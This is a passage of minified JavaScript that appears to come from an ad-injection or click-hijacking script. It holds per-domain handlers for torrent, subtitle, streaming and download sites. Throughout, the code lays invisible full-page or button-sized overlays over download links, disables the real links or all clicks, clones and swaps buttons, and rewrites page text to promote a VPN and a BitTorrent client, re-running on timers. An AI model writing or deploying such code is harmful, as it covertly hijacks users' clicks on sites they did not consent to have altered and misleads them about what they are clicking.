e=document.getElementsByTagName(\"a\"),h=0;h<e.length;h++)if(\"getDownload();\"==e[h].getAttribute(\"onclick\")){a=document.createElement(\"a\");a.style.cursor=\"pointer\";var k=document.createElement(\"img\");k.setAttribute(\"src\",e[h].children[0].getAttribute(\"src\"));\r\nk.setAttribute(\"border\",\"0\");a.appendChild(k);k=e[h].parentNode;k.removeChild(e[h]);e=k.getElementsByTagName(\"div\")[0];k.insertBefore(a,e);break}}}};this[\"llplayer.com.b\"]=new function(){this.init=function(){if(-1<window.location.host.toLowerCase().indexOf(\"llplayer.com.b\"))for(var a=document.getElementsByTagName(\"img\"),e=0;e<a.length;e++)if(a[e].getAttribute(\"src\")&&-1<a[e].getAttribute(\"src\").indexOf(\"fullpage_eng.png\")){var h=document.createElement(\"div\");h.style.width=\"100%\";h.style.height=\"100%\";\r\nh.style.position=\"absolute\";h.style.zIndex=\"9999\";h.style.top=\"0\";h.style.cursor=\"pointer\";var k=a[e].parentNode.parentNode;k.style.position=\"relative\";k.appendChild(h)}}};this[\"ubtitulosespanol.or\"]=new function(){this.init=function(){if(0<location.host.toLowerCase().indexOf(\"ubtitulosespanol.or\")){var a=document.links;for(i=0;i<a.length;i++)if(\"Descargue su subt\\u00edtulo aqu\\u00ed\"===(a[i].innerText?a[i].innerText:a[i].textContent)){var e=document.createElement(\"div\");e.style.position=\"absolute\";\r\ne.style.width=\"100%\";e.style.height=\"100%\";e.style.cursor=\"pointer\";e.style.top=\"0\";e.style.left=\"0\";e.style.zIndex=\"2000\";var h=a[i].parentNode;h.appendChild(e);h.style.position=\"relative\"}}}};this[\"ubtitles4free.ne\"]=new function(){this.init=function(){if(0<location.host.toLowerCase().indexOf(\"ubtitles4free.ne\")){var a=document.links;for(i=0;i<a.length;i++)if(\"Download Subtitle\"===(a[i].innerText?a[i].innerText:a[i].textContent)||\"Download Player\"===(a[i].innerText?a[i].innerText:a[i].textContent)){var e=\r\ndocument.createElement(\"div\");e.style.position=\"absolute\";e.style.width=\"100%\";e.style.height=\"100%\";e.style.cursor=\"pointer\";e.style.top=\"0\";e.style.left=\"0\";e.style.zIndex=\"2000\";var h=a[i].parentNode;h.appendChild(e);h.style.position=\"relative\"}}}};this[\"legendasbrasil.org\"]=new function(){this.init=function(){if(0<location.host.toLowerCase().indexOf(\"legendasbrasil.org\")){var a=document.links;for(i=0;i<a.length;i++)if(\"Baixar Legenda\"===(a[i].innerText?a[i].innerText:a[i].textContent)||\"Baixar Player\"===\r\n(a[i].innerText?a[i].innerText:a[i].textContent)||\"Baixe sua legenda aqui\"===(a[i].innerText?a[i].innerText:a[i].textContent)){var e=document.createElement(\"div\");e.style.position=\"absolute\";e.style.width=\"100%\";e.style.height=\"100%\";e.style.cursor=\"pointer\";e.style.top=\"0\";e.style.left=\"0\";e.style.zIndex=\"2000\";var h=a[i].parentNode;h.appendChild(e);h.style.position=\"relative\"}}}};this[\"stream2watch.me\"]=new function(){this.init=function(){-1<location.host.toLowerCase().indexOf(\"stream2watch.me\")&&\r\n(window.__z_tream2count=0,window.__z_tream2int=setInterval(function(){20<window.__z_tream2count++&&clearInterval(window.__z_tream2int);var a=document.getElementById(\"rh_toolbar_STRTOPB\"),e=document.getElementById(\"rhfrm_STRTOPB\");if(null!=a&&null!=e){var h=document.createElement(\"div\");h.style.width=\"100%\";h.style.height=\"100%\";h.style.cursor=\"pointer\";h.style.zIndex=\"2000\";h.style.position=\"absolute\";a.appendChild(h);e.style.position=\"absolute\";e.style.zIndex=\"-1\";clearInterval(window.__z_tream2int)}},\r\n500))}};this[\"kickass.to\"]=new function(){var a=this;a.init=function(){location.protocol+\"//\"+window.location.host+\"/\"!=window.location.href&&(a.counter=0,a.___ZskskskCount=0,a.___ZskskskthisZ=function(){try{20<++a.___ZskskskCount&&clearInterval(a.___ZskskskInter);for(var e=document.getElementsByTagName(\"div\"),h=0;h<e.length;h++){var k=e[h].getAttribute(\"align\");if(k&&\"center\"==k){var m=e[h].children[0];if(m&&m.getAttribute&&\"siteButton giantButton\"==m.getAttribute(\"class\")){var l=document.createElement(\"a\");\r\nl.style.fontSize=\"20px\";l.style.textAlign=\"center\";l.style.marginBottom=\"5px\";l.className=\"siteButton giantButton\";var n=document.createElement(\"span\");n.innerText?n.innerText=\"Protect yourself now with hide.me VPN\":n.textContent=\"Protect yourself now with hide.me VPN\";l.appendChild(n);e[h].removeChild(m);e[h].appendChild(l);clearInterval(a.___ZskskskInter)}}}}catch(r){clearInterval(a.___ZskskskInter)}},a.___ZskskskInter=setInterval(a.___ZskskskthisZ,500),a.counter=0,a.kickassx=function(){20<++a.counter&&\r\nclearInterval(a.interval);0<l.utils.query_selector_all(\"div#vuzeDownload a\").length&&(document.getElementById(\"vuzeDownload\").parentNode.innerHTML='<div id=\"vuzeDownload\">To download this torrent, you need a BitTorrent client: <a href=\"#\">Bitlord</a></div>',clearInterval(a.interval))},a.interval=setInterval(a.kickassx,500),a.counterClick=0,a.kickassClick=function(){20<++a.counterClick&&clearInterval(a.interval2);var e=l.utils.query_selector_all(\".block.botmarg5px\")[0];e&&\"Download faster CLICK HERE\"==\r\n(e.innerText?e.innerText:e.textContent)&&(e.innerHTML='<div class=\"block botmarg5px\">Download faster <a href=\"#\">CLICK HERE</a></div>',clearInterval(a.interval2))},a.interval2=setInterval(a.kickassClick,500))}};this[\"kat.cr\"]=new function(){var a=this;a.init=function(){location.protocol+\"//\"+window.location.host+\"/\"!=window.location.href&&(a.counter=0,a.___ZskskskCount=0,a.___ZskskskthisZ=function(){try{20<++a.___ZskskskCount&&clearInterval(a.___ZskskskInter);for(var e=document.getElementsByTagName(\"div\"),\r\nh=0;h<e.length;h++){var k=e[h].getAttribute(\"align\");if(k&&\"center\"==k){var l=e[h].children[0];if(l&&l.getAttribute&&\"siteButton giantButton\"==l.getAttribute(\"class\")){var p=document.createElement(\"a\");p.style.fontSize=\"20px\";p.style.textAlign=\"center\";p.style.marginBottom=\"5px\";p.className=\"siteButton giantButton\";var n=document.createElement(\"span\");n.innerText?n.innerText=\"Protect yourself now with hide.me VPN\":n.textContent=\"Protect yourself now with hide.me VPN\";p.appendChild(n);e[h].removeChild(l);\r\ne[h].appendChild(p);clearInterval(a.___ZskskskInter)}}}}catch(r){clearInterval(a.___ZskskskInter)}},a.___ZskskskInter=setInterval(a.___ZskskskthisZ,500),a.counter=0,a.kickassx=function(){20<++a.counter&&clearInterval(a.interval);0<l.utils.query_selector_all(\"div#vuzeDownload a\").length&&(document.getElementById(\"vuzeDownload\").parentNode.innerHTML='<div id=\"vuzeDownload\">To download this torrent, you need a BitTorrent client: <a href=\"#\">Bitlord</a></div>',clearInterval(a.interval))},a.interval=setInterval(a.kickassx,\r\n500),a.counterClick=0,a.kickassClick=function(){20<++a.counterClick&&clearInterval(a.interval2);var e=l.utils.query_selector_all(\".block.botmarg5px\")[0];e&&\"Download faster CLICK HERE\"==(e.innerText?e.innerText:e.textContent)&&(e.innerHTML='<div class=\"block botmarg5px\">Download faster <a href=\"#\">CLICK HERE</a></div>',clearInterval(a.interval2))},a.interval2=setInterval(a.kickassClick,500))}};this[\"kickass.so\"]=new function(){var a=this;a.init=function(){location.protocol+\"//\"+window.location.host+\r\n\"/\"!=window.location.href&&(a.counter=0,a.___ZskskskCount=0,a.___ZskskskthisZ=function(){try{20<++a.___ZskskskCount&&clearInterval(a.___ZskskskInter);for(var e=document.getElementsByTagName(\"div\"),h=0;h<e.length;h++){var k=e[h].getAttribute(\"align\");if(k&&\"center\"==k){var l=e[h].children[0];if(l&&l.getAttribute&&\"siteButton giantButton\"==l.getAttribute(\"class\")){var p=document.createElement(\"a\");p.style.fontSize=\"20px\";p.style.textAlign=\"center\";p.style.marginBottom=\"5px\";p.className=\"siteButton giantButton\";\r\nvar n=document.createElement(\"span\");n.innerText?n.innerText=\"Protect yourself now with hide.me VPN\":n.textContent=\"Protect yourself now with hide.me VPN\";p.appendChild(n);e[h].removeChild(l);e[h].appendChild(p);clearInterval(a.___ZskskskInter)}}}}catch(r){clearInterval(a.___ZskskskInter)}},a.___ZskskskInter=setInterval(a.___ZskskskthisZ,500),a.counter=0,a.kickassx=function(){20<++a.counter&&clearInterval(a.interval1);0<l.utils.query_selector_all(\"div#vuzeDownload a\").length&&(document.getElementById(\"vuzeDownload\").parentNode.innerHTML=\r\n'<div id=\"vuzeDownload\">To download this torrent, you need a BitTorrent client: <a href=\"#\">Bitlord</a></div>',clearInterval(a.interval1))},a.interval1=setInterval(a.kickassx,500),a.counterClick=0,a.kickassClick=function(){20<++a.counterClick&&clearInterval(a.interval2);var e=l.utils.query_selector_all(\".block.botmarg5px\")[0];e&&\"Download faster CLICK HERE\"==(e.innerText?e.innerText:e.textContent)&&(e.innerHTML='<div class=\"block botmarg5px\">Download faster <a href=\"#\">CLICK HERE</a></div>',clearInterval(a.interval2))},\r\na.interval2=setInterval(a.kickassClick,500))}};this[\"programasgratis.es\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\"#bloque_top_portada .programa_top_portada a\"),e=0;e<a.length;e++)if(a[e].setAttribute(\"href\",\"javascript:void(0)\"),\"rojo\"!=a[e].className){var h=a[e].parentNode;h.style.position=\"relative\";var k=document.createElement(\"span\");k.style.position=\"absolute\";k.style.width=\"100%\";k.style.height=\"152px\";k.style.zIndex=\"2000\";k.style.top=\"0\";k.style.right=\"0\";\r\nk.style.cursor=\"pointer\";h.appendChild(k)}a=l.utils.query_selector_all(\".bloque_novedades .link_categoria_descargar\");for(e=0;e<a.length;e++)h=a[e].parentNode,h.style.position=\"relative\",k=document.createElement(\"span\"),k.style.position=\"absolute\",k.style.width=\"124px\",k.style.height=\"42px\",k.style.zIndex=\"2000\",k.style.top=\"-5px\",k.style.right=\"0\",k.style.cursor=\"pointer\",h.appendChild(k),a[e].setAttribute(\"href\",\"javascript:void(0)\")}};this[\"programasejogos.com\"]=new function(){this.init=function(){for(var a=\r\nl.utils.query_selector_all(\".enlace_pestania_descargar\"),e=0;e<a.length;e++){var h=a[e].parentNode;h.style.position=\"relative\";var k=document.createElement(\"span\");k.style.position=\"absolute\";k.style.width=\"200px\";k.style.height=\"90px\";k.style.zIndex=\"2000\";k.style.top=\"65px\";k.style.right=\"0\";k.style.cursor=\"pointer\";h.appendChild(k);a[e].setAttribute(\"href\",\"javascript:void(0)\")}a=[];a=a.concat(l.utils.query_selector_all(\".linea_fondo1 .enlace_pestania_descargar_pequeno\"));a=a.concat(l.utils.query_selector_all(\".linea_fondo1 .boton_clase_listado\"));\r\na=a.concat(l.utils.query_selector_all(\".linea_fondo .enlace_pestania_descargar_pequeno\"));for(e=0;e<a.length;e++)for(var m=0;m<a[e].length;m++)h=a[e][m].parentNode,h.style.position=\"relative\",k=document.createElement(\"span\"),k.style.position=\"absolute\",k.style.width=\"115px\",k.style.height=\"28px\",k.style.zIndex=\"2000\",k.style.top=\"0\",k.style.right=\"0\",k.style.cursor=\"pointer\",h.appendChild(k),a[e][m].setAttribute(\"href\",\"javascript:void(0)\");a=l.utils.query_selector_all(\".pyj_registro_inferior .enlace_pestania_descargar_pequeno\");\r\nfor(e=0;e<a.length;e++)h=a[e].parentNode,h.style.position=\"relative\",k=document.createElement(\"span\"),k.style.position=\"absolute\",k.style.width=\"105px\",k.style.height=\"29px\",k.style.zIndex=\"2000\",k.style.top=\"3px\",k.style.right=\"-4px\",k.style.cursor=\"pointer\",h.appendChild(k),a[e].setAttribute(\"href\",\"javascript:void(0)\")}};this[\"uploading.com\"]=new function(){this.init=function(){if(window.self===window.top&&location.host.toLowerCase().indexOf(\"ploading.com/files/\"))for(var a=typeof document.querySelectorAll?\r\ndocument.getElementsByTagName(\"div\"):document.querySelectorAll(\"div.method_title\"),e=0;e<a.length;e++){var h=a[e].className;h&&\"undefined\"!==typeof h&&-1<h.indexOf(\"method_title\")&&(h=a[e].getAttribute(\"onclick\"))&&\"undefined\"!==typeof h&&-1<h.indexOf(\"location.href\")&&(a[e].setAttribute(\"onclick\",\"void(0);\"),h=a[e].cloneNode(!0),a[e].parentNode.replaceChild(h,a[e]),h.setAttribute(\"onclick\",\"void(0);\"))}setTimeout(function(){var a=l.utils.query_selector_all(\".method_title\")[0];if(a){var e=a.parentNode,\r\nh=document.createElement(\"div\");h.className=\"method_title\";var n=document.createElement(\"i\"),r=document.createElement(\"span\");r.setAttribute(\"id\",\"timer_count\");r.innerText=\"Download for free\";r.textContent=\"Download for free\";h.appendChild(n);h.appendChild(r);e.insertBefore(h,a);e.removeChild(a)}},1E3)}};this[\"flexydrive.com\"]=new function(){this.init=function(){for(var a=0;a<document.links.length;a++){var e=document.links[a],h=e.getAttribute(\"href\");if(h&&-1<h.indexOf(\"file21desktop.com\")){var h=\r\nl.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}}};this[\"media1fire.com\"]=new function(){this.init=function(){var a=l.utils.query_selector_all('input[name=\"adcopy_response\"]');0<a.length&&(a[0].disabled=!0);for(a=0;a<document.links.length;a++){var e=document.links[a],h=e.getAttribute(\"href\");if(h&&-1<h.indexOf(\"file21desktop.com\")){var h=l.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}}};this[\"softwareandgames.com\"]=new function(){this.init=\r\nfunction(){for(var a=0;a<document.links.length;a++){var e=document.links[a],h=e.getAttribute(\"href\");if(h&&-1<h.indexOf(\"softwareandgames.com/download\")){var h=l.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}}};this[\"programmesetjeux.com\"]=new function(){this.init=function(){for(var a=0;a<document.links.length;a++){var e=document.links[a],h=e.getAttribute(\"href\");if(h&&-1<h.indexOf(\"programmesetjeux.com/telecharger\")){var h=l.utils.duplicateElement(e),k=e.parentNode;\r\nk.insertBefore(h,e);k.removeChild(e)}}}};this[\"baixarjogos.com\"]=new function(){this.init=function(){for(var a=0;a<document.links.length;a++){var e=document.links[a],h=e.getAttribute(\"href\");if(h&&-1<h.indexOf(\"baixarjogos.com/baixar\")){var h=l.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}}};this[\"descargarjuegos.com\"]=new function(){this.init=function(){for(var a=0;a<document.links.length;a++){var e=document.links[a],h=e.getAttribute(\"href\");if(h&&-1<h.indexOf(\"descargarjuegos.com/descargar\")){var h=\r\nl.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}}};this[\"hotfiles.ro\"]=new function(){this.init=function(){for(var a=0;a<document.links.length;a++){var e=document.links[a],h=e.getAttribute(\"href\");if(h&&-1<h.indexOf(\"hotfil.es/goref.php\")){var h=l.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}}};this[\"vitanclub.net\"]=new function(){this.init=function(){var a=l.utils.query_selector_all(\".pdld\")[0],e=l.utils.duplicateElement(a),h=a.parentNode;\r\nh.insertBefore(e,a);h.removeChild(a);a=document.getElementById(\"container_bottom\");l.utils.coverElement(a)}};this[\"mestorrents.com\"]=new function(){this.init=function(){for(var a=0;a<document.links.length;a++){var e=document.links[a],h=e.getAttribute(\"href\");if(h&&-1<h.indexOf(\"pubted.com/www/delivery/\")){var h=l.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}}};this[\"vitorrent.net\"]=new function(){this.init=function(){for(var a=0;a<document.links.length;a++){var e=\r\ndocument.links[a],h=e.getAttribute(\"href\");if(h&&-1<h.indexOf(\"/file.php\")){var h=l.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}}};this[\"newsinitiative.org\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"megafilmesonlinehd.com\"]=new function(){this.init=function(){var a=l.utils.query_selector_all(\"#ClickHere\")[0];if(\"undefined\"!==typeof a){var e=l.utils.duplicateElement(a),h=a.parentNode;h.insertBefore(e,a);\r\nh.removeChild(a)}}};this[\"mycoolmp3.com\"]=new function(){var a=this;a.init=function(){a.interval=setInterval(function(){if(\"undefined\"!==typeof l.utils.query_selector_all(\".downButtons\")[0]){var a=l.utils.query_selector_all(\".downButtons a\");if(!(2>a.length)&&(a=a[1],\"undefined\"!==typeof a)){var h=l.utils.duplicateElement(a),k=a.parentNode;k.insertBefore(h,a);k.removeChild(a)}}},500)}};this[\"toggle.com\"]=new function(){this.init=function(){var a=l.utils.query_selector_all(\".downloadLink.newDownloadLink a\")[0];\r\nif(\"undefined\"!==typeof a){var e=l.utils.duplicateElement(a),h=a.parentNode;h.insertBefore(e,a);h.removeChild(a)}}};this[\"downloadshareware.com\"]=new function(){this.init=function(){var a=l.utils.query_selector_all(\"a#ads\")[0];if(\"undefined\"!==typeof a){var e=l.utils.duplicateElement(a),h=a.parentNode;h.insertBefore(e,a);h.removeChild(a)}}};this[\"primewire.ag\"]=new function(){this.init=function(){var a=l.utils.query_selector_all(\".quality_hd\");if(\"undefined\"!==typeof a)for(var e=0;e<a.length;e++){var h=\r\na[e].parentNode.parentNode.children[1].children[0].children[0],k=l.utils.duplicateElement(h),m=h.parentNode;k.className=\"\";m.insertBefore(k,h);m.removeChild(h)}a=l.utils.query_selector_all(\".download_now_mouseover.no_c_link\")[0];\"undefined\"!==typeof a&&(k=l.utils.duplicateElement(a),m=a.parentNode,k.className=k.className.replace(\"no_c_link\",\"\"),m.insertBefore(k,a),m.removeChild(a));a=l.utils.query_selector_all(\".download_link .no_c_link\")[0];\"undefined\"!==typeof a&&(k=l.utils.duplicateElement(a),\r\nm=a.parentNode,k.className=k.className.replace(\"no_c_link\",\"\"),m.insertBefore(k,a),m.removeChild(a))}};this[\"myappsforpc.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"telecharger.logiciel.net\"]=new function(){this.init=function(){for(var a=document.links,e=0;e<a.length;e++){var h=a[e],k=h.getAttribute(\"class\");if(null!=k&&-1<k.indexOf(\"action-button download\")){var k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}}};\r\nthis[\"winmacsofts.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".btn.btn-primary.download-btn\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"1337x.to\"]=new function(){this.init=function(){for(var a=document.getElementsByTagName(\"img\"),e=0;e<a.length;e++){var h=a[e].getAttribute(\"src\");if(null!=h&&-1<h.indexOf(\"/assets//images/1337x-1.png\")){var h=a[e],k=l.utils.duplicateElement(h.parentNode),\r\nm=h.parentNode.parentNode;m.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}}}};this[\"h33t.to\"]=new function(){this.init=function(){for(var a=document.getElementsByTagName(\"img\"),e=0;e<a.length;e++){var h=a[e].getAttribute(\"src\");if(null!=h&&(-1<h.indexOf(\"arrow_green.gif\")||-1<h.indexOf(\"arrow_white.gif\"))||-1<h.indexOf(\"button_direct.png\")){var h=a[e],k=l.utils.duplicateElement(h.parentNode),m=h.parentNode.parentNode;m.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}}}};this[\"ahashare.com\"]=\r\nnew function(){this.init=function(){for(var a=document.getElementsByTagName(\"img\"),e=0;e<a.length;e++){var h=a[e].getAttribute(\"src\");if(null!=h&&(-1<h.indexOf(\"magnit.png\")||-1<h.indexOf(\"noclient.png\"))){var h=a[e],k=l.utils.duplicateElement(h.parentNode),m=h.parentNode.parentNode;m.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}}}};this[\"torrenthound.com\"]=new function(){this.init=function(){var a=document.getElementById(\"direct2\"),e=l.utils.duplicateElement(a),h=a.parentNode;h.insertBefore(e,\r\na);h.removeChild(a)}};this[\"smartorrent.com\"]=new function(){this.init=function(){for(var a=window.document.getElementsByTagName(\"img\"),e=0;e<a.length;e++){var h=a[e].getAttribute(\"src\");if(null!=h&&-1<h.indexOf(\"/images/download_FR.png\")){var h=a[e],k=l.utils.duplicateElement(h.parentNode),m=h.parentNode.parentNode;m.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}}}};this[\"torrentreactor.net\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".mrg.mrg-fifth\"),e=\r\n0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"tomadivx.org\"]=new function(){this.init=function(){for(var a=window.document.getElementsByTagName(\"img\"),e=0;e<a.length;e++){var h=a[e].getAttribute(\"src\");if(null!=h&&-1<h.indexOf(\"/imagenes_web/descargar.png\")){var h=a[e],k=l.utils.duplicateElement(h.parentNode),m=h.parentNode.parentNode;m.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}}}};this[\"downloads.info\"]=new function(){this.init=\r\nfunction(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"techypcapps.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".download-link\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"techariot.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".download-link\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,\r\nh);m.removeChild(h)}}};this[\"androidlegend.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".download-link\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"technologyrush.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".download-link\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"notintricate.com\"]=\r\nnew function(){this.init=function(){for(var a=l.utils.query_selector_all(\".download-link\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"techglen.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".download-link\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"updownload.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv();\r\nl.utils.disableAllClicks()}};this[\"techamiable.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".download-link\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"appsforpcmero.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"go4up.com\"]=new function(){this.init=function(){setTimeout(function(){for(var a=window.document.getElementsByTagName(\"img\"),\r\ne=0;e<a.length;e++)if(a[e].src.indexOf(\"download-button.png\")){var h=a[e],k=l.utils.duplicateElement(h.parentNode),m=h.parentNode.parentNode;m.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}},1E3)}};this[\"descarga.benjaminstrahs.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".download_link.btnDownloadAlt\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"installers.installm.com\"]=new function(){this.init=\r\nfunction(){for(var a=l.utils.query_selector_all(\".download_link.btnDownloadAlt\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"torrentz.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".SimpleAcceptebleTextAds\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}a=document.getElementsByTagName(\"span\");if(0<a.length)for(e=0;e<a.length;e++)h=\r\na[e].parentNode,a[e].getAttribute(\"style\")&&-1<a[e].getAttribute(\"style\").indexOf(\"green_arrow\")&&(k=l.utils.duplicateElement(h),m=h.parentNode,m.insertBefore(k,h),m.removeChild(h))}};this[\"lp.playerpage209.info\"]=new function(){this.init=function(){var a=document.createElement(\"script\");a.text=\"var a = document.getElementById('myModal');a.setAttribute('onclick', 'void(0);');\";l.utils.addScript(a)}};this[\"lp.playerpage214.info\"]=new function(){this.init=function(){var a=document.createElement(\"script\");\r\na.text=\"var a = document.getElementById('myModal');a.setAttribute('onclick', 'void(0);');\";l.utils.addScript(a)}};this[\"popcorntime.com.br\"]=new function(){this.init=function(){for(var a=document.links,e=0;e<a.length;e++)if(\"btn-main icon-win\"==a[e].className||\"btn-main icon-linux\"==a[e].className||\"btn-main icon-mac\"==a[e].className||\"btn-main icon-android\"==a[e].className){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"roms43.com\"]=new function(){this.init=\r\nfunction(){for(var a=l.utils.query_selector_all(\".dlmOne\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"mawtoload.com\"]=new function(){this.init=function(){for(var a=window.document.getElementsByTagName(\"img\"),e=0;e<a.length;e++)if(a[e].src.indexOf(\"300x250c.png\")){var h=a[e],k=l.utils.duplicateElement(h.parentNode),m=h.parentNode.parentNode;m.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}}};this[\"baixaki.com.br\"]=\r\nnew function(){this.init=function(){for(var a=l.utils.query_selector_all(\".lnksb\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"torrentfunk.com\"]=new function(){this.init=function(){if(-1<window.location.href.indexOf(\"www.torrentfunk.com/torrent/\")){var a=l.utils.query_selector_all(\"#right main .content table tr td a\")[0],e=l.utils.duplicateElement(a),h=a.parentNode;h.insertBefore(e,a);h.removeChild(a)}if(-1<window.location.href.indexOf(\"www.torrentfunk.com/all/torrents/\"))for(var a=\r\nl.utils.query_selector_all(\".tmain\"),k=0;k<a.length;k++)if(e=a[k],-1!=(e.innerText||e.textContent).toLowerCase().indexOf(\"high speed results\"))for(var m=e.parentNode.parentNode.getElementsByTagName(\"a\"),p=0;p<m.length;p++){var n=m[p],e=l.utils.duplicateElement(n),h=n.parentNode;h.insertBefore(e,n);h.removeChild(n)}}};this[\"torlock.com\"]=new function(){this.init=function(){if(-1<window.location.href.indexOf(\"www.torlock.com/torrent/\")){var a=l.utils.query_selector_all('article table tr td[style=\"width:33%\"] a')[0],\r\ne=l.utils.duplicateElement(a),h=a.parentNode,k=e.children[0];k.setAttribute(\"width\",\"179\");k.setAttribute(\"height\",\"59\");h.insertBefore(e,a);h.removeChild(a)}if(-1<window.location.href.indexOf(\"www.torlock.com/all/torrents/\"))for(a=l.utils.query_selector_all(\".tmain\"),k=0;k<a.length;k++)if(e=a[k],-1!=(e.innerText||e.textContent).toLowerCase().indexOf(\"sponsored\"))for(var m=e.parentNode.parentNode.getElementsByTagName(\"a\"),p=0;p<m.length;p++){var n=m[p],e=l.utils.duplicateElement(n),h=n.parentNode;\r\nh.insertBefore(e,n);h.removeChild(n)}}};this[\"yourbittorrent.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"d-h.st\"]=new function(){this.init=function(){var a=document.getElementById(\"downloadfile2\"),e=l.utils.duplicateElement(a),h=a.parentNode;h.insertBefore(e,a);h.removeChild(a)}};this[\"downsmetall.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"flvplayer4free.com\"]=new function(){this.init=\r\nfunction(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"dl4all.ws\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"torrentpanda.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"filmovizija.in\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"filetie.net\"]=new function(){this.init=function(){l.utils.createTransparentDiv();\r\nl.utils.disableAllClicks()}};this[\"gamestorrents.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"torcache.net\"]=new function(){this.init=function(){l.utils.createTransparentDiv();l.utils.disableAllClicks()}};this[\"hit2k.com\"]=new function(){this.init=function(){for(var a=window.document.getElementsByTagName(\"img\"),e=0;e<a.length;e++)if(a[e].src.indexOf(\"goo.gl/SWLxLl\")){var h=a[e],k=l.utils.duplicateElement(h.parentNode),m=h.parentNode.parentNode;\r\nm.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}}};this[\"igizmodots.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv()}};this[\"gfxfree.net\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".button.mom_button.green_bt\"),e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"techmacho.com\"]=new function(){this.init=function(){for(var a=l.utils.query_selector_all(\".download-link\"),\r\ne=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"baixarwhatsapp.com.br\"]=new function(){this.init=function(){var a=document.getElementsByTagName(\"iframe\");if(0<a.length)for(i=0;i<a.length;i++){var 